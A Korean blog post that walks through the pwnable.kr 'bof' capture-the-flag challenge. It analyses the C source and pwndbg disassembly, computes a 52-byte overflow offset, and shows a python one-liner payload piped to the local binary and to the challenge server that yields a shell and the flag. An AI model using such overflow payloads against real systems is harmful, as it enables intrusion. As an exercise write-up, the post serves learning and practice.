avatar

Ott3r

Ott3r Blog

  • HOME
  • CATEGORIES
  • TAGS
  • ARCHIVES
  • ABOUT
Home [pwnable.kr] bof
Post

[pwnable.kr] bof

Posted Dec 14, 2023
By ott3r07 10 min read

pwnable.kr 문제 풀이 목록 바로가기


문제 설명

문제 설명

Nana told me that buffer overflow is one of the most common software vulnerability.

Is that true?

Nana는 버퍼 오버플로우가 소프트웨어에서 가장 일반적인 취약점이라고 말했습니다.

정말인가요?

해당 문제는 버퍼 오버플로우 취약점은 앞의 다른 문제 들과 다르게 취약점을 악용해서 플래그를 확인해야 합니다.

때문에 다른 문제들 처럼 ssh 접속 정보는 따로 존재하지 않고 분석해야하는 바이너리 파일(bof)와 소스 파일 (bof.c)가 존재합니다.

먼저 아래와 같은 명령어를 입력해 바이너리 파일과 소스 파일을 받습니다.

1
2
wget http://pwnable.kr/bin/bof
wget http://pwnable.kr/bin/bof.c

해당 bof 파일이 어떤 동작을 하는지 확인하기 위해 실행 권한을 추가 한 뒤, 프로그램을 실행해 봅니다.

1
2
3
4
5
❯ chmod +x ./bof
❯ ./bof
overflow me :
testest
Nah..

프로그램이 실행 됬을 때, overflow me : 라는 문자열이 출력되며, 이후에 사용자 입력을 받습니다.

적절한 입력값을 넣어 bof를 발생 시켜 문제를 해결해야 하는 것을 추측할 수 있습니다.

주어진 접속 정보(nc pwnable.kr 9000)에 접속하게 되면 자동으로 bof 프로그램이 실행됩니다.

대부분의 pwnable 문제들은 바이너리 파일과 접속 정보를 주게 되는데, 바이너리 파일을 이용하여 취약점을 분석하고 exploit을 작성해서 접속 정보에 페이로드를 전송하는 형식입니다.


문제 풀이

코드 분석

위에서 받은 bof.c 파일의 주요 코드를 분석하여 문제를 해결해 나가야 합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

main()

프로그램의 시작 점인 main 함수 부터 분석하여 문제를 해결 하기 위해 진행해 보겠습니다.

16 행 : func(0xdeadbeef);

  • main 함수가 실행되자 마자 func()을 호출하고 인자로 0xdeadbeef를 넘겨주는 것을 확인할 수 있습니다.

main 함수에서는 func()을 호출하는 기능 이외의 기능은 없기 때문에 중요한 func 함수를 유심히 살펴 보아야 합니다.

func()

func 함수를 분석하고 입력 했을 때 쉘을 획득할 수 있는지 확인해야 합니다.

5 행 : char overflowme[32];

  • 32byte 크기의 char형 변수 overflowme를 선언 합니다.
    • 변수 명에서 알 수 있듯이 해당 변수에서 buffer overflow를 발생 시켜 문제를 해결해야 할 것으로 보입니다.

7 행 : gets(overflowme);

  • gets() 함수를 통해 사용자의 입력 값을 overflowme 변수에 저장하게 됩니다.
  • 해당 함수는 사용자 입력값에 대한 길이 검증이 없어 취약한 함수입니다.

길이 검증이 없다는 것은 변수의 크기보다 많은 양의 값을 삽입할 수 있음을 의미합니다. 변수의 크기보다 많은 양의 값을 삽입할 경우 변수 공간을 넘어 다른 메모리 공간 까지 침범할 수 있게됩니다.

8 행 : if(key == 0xcafebabe)

  • key변수는 함수의 인자로 받은 0xdeadbeef가 들어가 있습니다.
  • key의 값과 0xcafebabe를 비교하면 항상 거짓이 됩니다.
  • 이때 bof를 이용하여 0xdeadbeef 값을 0xcafebabe로 덮어 씌워야 합니다.

디버깅

disass main

1
2
3
4
5
6
7
8
9
10
11
pwndbg> disass main
Dump of assembler code for function main:
   0x5655568a <+0>:	push   ebp
   0x5655568b <+1>:	mov    ebp,esp
   0x5655568d <+3>:	and    esp,0xfffffff0
   0x56555690 <+6>:	sub    esp,0x10
   0x56555693 <+9>:	mov    DWORD PTR [esp],0xdeadbeef
   0x5655569a <+16>:	call   0x5655562c <func>
   0x5655569f <+21>:	mov    eax,0x0
   0x565556a4 <+26>:	leave  
   0x565556a5 <+27>:	ret

7 행 : mov DWORD PTR [esp],0xdeadbeef

  • 현재 스택의 위치에 0xdeadbeef 값을 넣는 것을 확인할 수 있습니다.

8 행 : call 0x5655562c <func>

  • func함수를 호출하며 이때 인자로는 main+9에서 esp에 설정하는 것을 할 수 있습니다.

32bit 바이너리는 함수를 호출 할때 인자를 스택으로 넘겨주게 됩니다.

func 함수를 분석 할때 ebp + 8의 값이 인자의 값이라고 바로 나오게 되는데 x86에서의 스택과 calling convention에 대해서 알게 되면 이해할 수 있습니다.

자세한 내용은 다른 포스트에서 다루도록 하겠습니다.

disass func

함수 호출 직후를 확인하면 다음과 같습니다.

먼저 프롤로그에 의해서 스택의 위치가 변하게 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Dump of assembler code for function func:
   0x5655562c <+0>:	push   ebp
   0x5655562d <+1>:	mov    ebp,esp
   0x5655562f <+3>:	sub    esp,0x48
   0x56555632 <+6>:	mov    eax,gs:0x14
   0x56555638 <+12>:	mov    DWORD PTR [ebp-0xc],eax
   0x5655563b <+15>:	xor    eax,eax
   0x5655563d <+17>:	mov    DWORD PTR [esp],0x5655578c
   0x56555644 <+24>:	call   0xf7e31c40 <__GI__IO_puts>
   0x56555649 <+29>:	lea    eax,[ebp-0x2c]
   0x5655564c <+32>:	mov    DWORD PTR [esp],eax
   0x5655564f <+35>:	call   0xf7e31120 <_IO_gets>
   0x56555654 <+40>:	cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x5655565b <+47>:	jne    0x5655566b <func+63>
   0x5655565d <+49>:	mov    DWORD PTR [esp],0x5655579b
   0x56555664 <+56>:	call   0xf7e05780 <__libc_system>
   0x56555669 <+61>:	jmp    0x56555677 <func+75>
   0x5655566b <+63>:	mov    DWORD PTR [esp],0x565557a3
   0x56555672 <+70>:	call   0xf7e31c40 <__GI__IO_puts>
   0x56555677 <+75>:	mov    eax,DWORD PTR [ebp-0xc]
   0x5655567a <+78>:	xor    eax,DWORD PTR gs:0x14
   0x56555681 <+85>:	je     0x56555688 <func+92>
   0x56555683 <+87>:	call   0xf7ed8530 <__stack_chk_fail>
   0x56555688 <+92>:	leave  
   0x56555689 <+93>:	ret

2 행 ~ 3 행 : func + 1 까지 실행 시킨 뒤 인자가 들어 있는 공간(esp+8)을 확인하면 인자로 전달된 0xdeadbeef를 확인할 수 있고 주소도 확인 가능합니다.

1
2
pwndbg> x/x $ebp+8
0xffffd330:     0xdeadbeef
  • 0xfffd330의 위치에 0xdeadbeef가 들어 있는 것을 볼 수 있습니다.

9 행 ~ 13 행 :

1
2
3
4
   0x56555649 <+29>:	lea    eax,[ebp-0x2c]
   0x5655564c <+32>:	mov    DWORD PTR [esp],eax
   0x5655564f <+35>:	call   0xf7e31120 <_IO_gets>
   0x56555654 <+40>:	cmp    DWORD PTR [ebp+0x8],0xcafebabe
  • eax에 먼저 [ebp-0x2c]의 주소를 넣습니다.
    • 이는 사용자의 입력값이 들어갈 위치가 됩니다.
    • 사용자의 입력값이 들어가는 주소의 시작 주소를 보면 다음과 같습니다.
1
2
pwndbg> x/x $ebp - 0x2c
0xffffd2fc:     0x00000009
  • 이후 esp(현재 스택의 위치)에 eax를 넣게 됩니다.

  • 마지막으로 cmp 명령을 통해서 ebp+0x8(첫 번째 인자가 들어간 공간)의 값과 0xcafebabe를 비교하게 됩니다.

덮어써야 하는 공간의 길이는 (ebp+8) - (ebp-0x2c)가 됩니다.

1
2
pwndbg> p ($ebp+8)-($ebp-0x2c)
$1 = 52

결론

  1. func함수 내에서 32 바이트의 char형 공간을 할당 하였다.
  2. 사용자의 입력 길이를 검증하지 않는 gets함수 사용으로 인해 bof가 가능하다.
  3. 변조 해야하는 값은 첫 번째 인자(0xdeadbeef)가 입력된 ebp+8이다.
  4. 사용자의 입력 값이 담기는 주소(ebp-0x2c) 부터 ebp+8까지의 거리는 52 byte이다.
  5. 즉, 52byte를 덮어 쓰고 마지막 4byte에 원하는 값 0xcafebebe를 인자로 넘겨주면 된다.

결과

다음과 같이 페이로드 전송 시 로컬에서 쉘을 얻을 수 있다.

1
2
3
4
❯ (python2.7 -c 'print "A"*52 + "\xbe\xba\xfe\xca"' ; cat) | ./bof
overflow me :
id
uid=1000(ott3r) gid=1000(ott3r) groups=1000(ott3r),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),133(lxd),134(sambashare)

페이로드 검증에 성공 하였다면 원격지 서버에 페이로드를 전송하여 플래그를 확인할 수 있다.

1
2
3
4
5
6
7
8
9
❯ (python2.7 -c 'print "A"*52 + "\xbe\xba\xfe\xca"' ; cat) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
super.pl
cat flag
daddy, I just pwned a buFFer :)
wargames, pwnable.kr
wargame pwnable.kr bof
This post is licensed under CC BY 4.0 by the author.
Share
Recent Post
  • [pwnable.kr] flag
  • [pwnable.kr] bof
  • [pwnable.kr] collision

Trending Tags

pwnable.kr wargames bof file_descriptor payload read() upx wargame

Contents

Further Reading

Dec 12, 2023

[pwnable.kr] fd

pwnable.kr 문제 풀이 목록 바로가기 pwnable.kr을 정리 하는 이유 대학원에 입학하기 전 게으름을 방지하고자 기초 지식을 다시 잡기 위해 진행하려고 합니다. 하루의 한문제를 클리어 하는 것을 목표로 가지고 있으며, 당일 풀지 못한 문제는 시간이 걸려도 정답을 절대 보지 않고 클리어 하는 것을 목표로 두고 있습니다. 문제 설명...

Dec 13, 2023

[pwnable.kr] collision

pwnable.kr 문제 풀이 목록 바로가기 문제 설명 Daddy told me about cool MD5 hash collision today. I wanna do something like that too! 아빠가 오늘 MD5 해시 충돌에 대한 멋진 얘기를 해주셨어요. 나도 그런거 하고싶어요! 문제를 풀기 전에...

Dec 16, 2023

[pwnable.kr] flag

pwnable.kr 문제 풀이 목록 바로가기 문제 설명 ![문제 설명]({{ ‘assets/post_img/flag_question.png’ relative_url }}) Papa brought me a packed present! let’s open it. 아빠가 포장된(pac...

[pwnable.kr] collision

[pwnable.kr] flag

© 2024 ott3r07. All rights reserved.

Trending Tags

pwnable.kr wargames bof file_descriptor payload read() upx wargame

A new version of content is available.